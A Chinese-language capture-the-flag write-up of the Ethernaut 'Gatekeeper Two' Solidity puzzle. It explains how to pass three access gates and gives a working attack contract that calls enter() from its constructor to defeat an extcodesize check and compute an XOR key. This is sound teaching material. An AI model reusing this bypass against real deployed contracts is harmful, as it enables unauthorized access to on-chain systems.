Gatekeeper Two
题目
目标:修改entrant,即:成功调用enter(bytes8 _gateKey)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
分析
本道题要我们成功调用enter(bytes8 _gateKey)
,那么就需要通过三个修饰器gateOne
,gateTwo
和gateThree(_gateKey)
的检验。
gateOne
1 2 3 4
| modifier gateOne() { require(msg.sender != tx.origin); _; }
|
这里需要我们理解msg.sender和tx.origin的区别。意思是要求:我们不可以直接调用,需要写一个合约进行调用
gateTwo
1 2 3 4 5 6
| modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; }
|
第一个知识点:caller()是指消息的调用者,可以是合约也可以是用户。结合gateOne,在本题中就只能是合约了。
这个modifier的意思是extcodesize(caller())
需要等于0,那么就要合约当中没有任何内容,代码量为0。但我们要写攻击合约,肯定要写内容的,那么这个时候,就必须要在构造器中写攻击代码。在构造器里面写,发起了攻击,并且也通过了gateTwo的检验
gateThree(_gateKey)
1 2 3 4
| modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; }
|
msg.sender
:我们的攻击合约地址
(abi.encodePacked(msg.sender))
:编码我们的攻击合约地址
(bytes8(keccak256(abi.encodePacked(msg.sender)))
:编码我们的攻击合约地址,并且取高8字节
uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
:编码我们的攻击合约地址,并且取高8字节,然后高位补0补齐至64位数。我们假设这个结果是X
X ^ uint64(_gateKey)
的意思是:两个64位的数值进行异或。我们假设这个结果是Y
Y == type(uint64).max)
:意思是Y的值需要等于uint64类型的最大值,即:FFFFFFFFFFFFFFFF
那么就是说,我们传入的_gateKey经过那一串的异或处理之后,要变成最大值(全1),异或结果得到全1。因为uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
是不可控的,我们只可以输入_gateKey
,那么输入的_gateKey
就要和uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
每一位数字都相反,才可以异或得到全1。
要达到这个目的,我们的_gateKey
应该是uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
每一位都取反的结果,这样_gateKey
再和uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
异或就是全1。举个例子:110 ^ _gateKey,gateKey=>110取反=>001。然后110 ^ 001=111。
因为solidity没有取反操作,但异或一个全为1的数可以达到相同的结果。在本题就是异或0xFFFFFFFFFFFFFFFF
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Hack{ GatekeeperTwo gatekeeperTwo = GatekeeperTwo(0xc90c27F7431c86837933437ae4c94aA6f6B6591f); constructor(){ bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF; address(gatekeeperTwo).call(abi.encodeWithSignature("enter(bytes8)",key)); } }
contract GatekeeperTwo {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
做题
获取题目实例,部署之后,查看entrant:成功被修改
通过